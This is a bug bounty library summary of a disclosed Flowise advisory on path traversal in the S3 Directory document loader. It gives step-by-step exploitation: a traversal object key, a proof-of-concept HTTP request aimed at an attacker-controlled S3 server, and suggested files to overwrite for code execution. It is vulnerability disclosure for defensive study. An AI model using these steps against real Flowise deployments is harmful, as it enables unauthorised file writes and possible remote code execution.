# Flowise: Authenticated arbitrary file write in the `S3 Directory` document loader via unsanitized S3 object keys

Flowise S3 Directory loader joins attacker-controlled S3 object keys with path.join and writes bytes unsanitized, giving authenticated users arbitrary file write outside the temp dir.

- Payout: Research
- Severity: high
- Program: Flowise
- Found by: Mirr2
- Disclosed: 2026-08-04
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-88pr-878c-24wf
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-88pr-878c-24wf
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:high tech:nodejs tech:s3 technique:source-review vuln:file-upload vuln:path-traversal

**Target:** S3 Directory document loader (S3Directory.ts) via /api/v1/document-store/loader endpoints
**Root cause:** The loader trusts S3 object keys as safe relative paths, using path.join(tempDir, key) and writeFileSync without canonicalizing or verifying the resolved path stays within tempDir. Cleanup only removes the original tempDir, so escaped files persist.
**Steps:**
1. Authenticate as a user with `documentStores:preview-process` permission.
2. Run an attacker-controlled S3-compatible server (e.g. MinIO).
3. Create an object with a traversal key such as `../../../../tmp/flowise-poc.txt`.
4. POST to `/api/v1/document-store/loader/preview` (or `/loader/process/:loaderId`) with body `{"loaderId":"s3Directory","loaderConfig":{"serverUrl":"http://attacker-minio:9000","bucketName":"attacker-bucket","prefix":"","credential":""}}`.
5. Observe Flowise writes object bytes to the escaped path; cleanup removes only the original temp directory, so the escaped file persists.
**How found:** Code review of S3Directory.ts identified path.join(tempDir, key) at line 191 with no traversal validation, plus cleanup at line 289 that only removes the original tempDir. Noted the loader accepts a custom serverUrl, removing the need for a trusted bucket, and found a related variant in S3File.ts unstructured branch.
**Exploitation:** Attacker with documentStores:preview-process points serverUrl at their own S3-compatible endpoint, uploads an object whose key contains ../ sequences, and triggers the loader preview/process route. The loader mkdirSync's the parent path and writeFileSync's attacker bytes to the escaped location with Flowise process privileges; cleanup leaves the file in place.
**Escalation:** Deployment-dependent lift to RCE if the service account can overwrite executable, startup, or interpreter-loaded files (.bashrc, systemd units, cron, require.resolve targets, package.json postinstall). Not guaranteed product-wide.
**Insight:** Document/ETL loaders that mirror remote object keys to local disk are prime traversal targets; check whether the loader accepts a custom endpoint URL, since that removes the trusted-bucket precondition and lets any authenticated user supply malicious keys.

## Proof of concept (copied exactly from the original report)

**HTTP request triggering S3 Directory loader with traversal key**

```
POST /api/v1/document-store/loader/preview                                                                                                                                                                
     (or /api/v1/document-store/loader/process/:loaderId)    
     body: {                                                                                                                                                                                                   
       "loaderId": "s3Directory",         
       "loaderConfig": {                                                                                                                                                                                       
         "serverUrl": "http://attacker-minio:9000",                                                                                                                                                            
         "bucketName": "attacker-bucket",                                                                                                                                                                      
         "prefix": "",                                                                                                                                                                                         
         "credential": ""                                    
       }                                                                                                                                                                                                       
     }
```

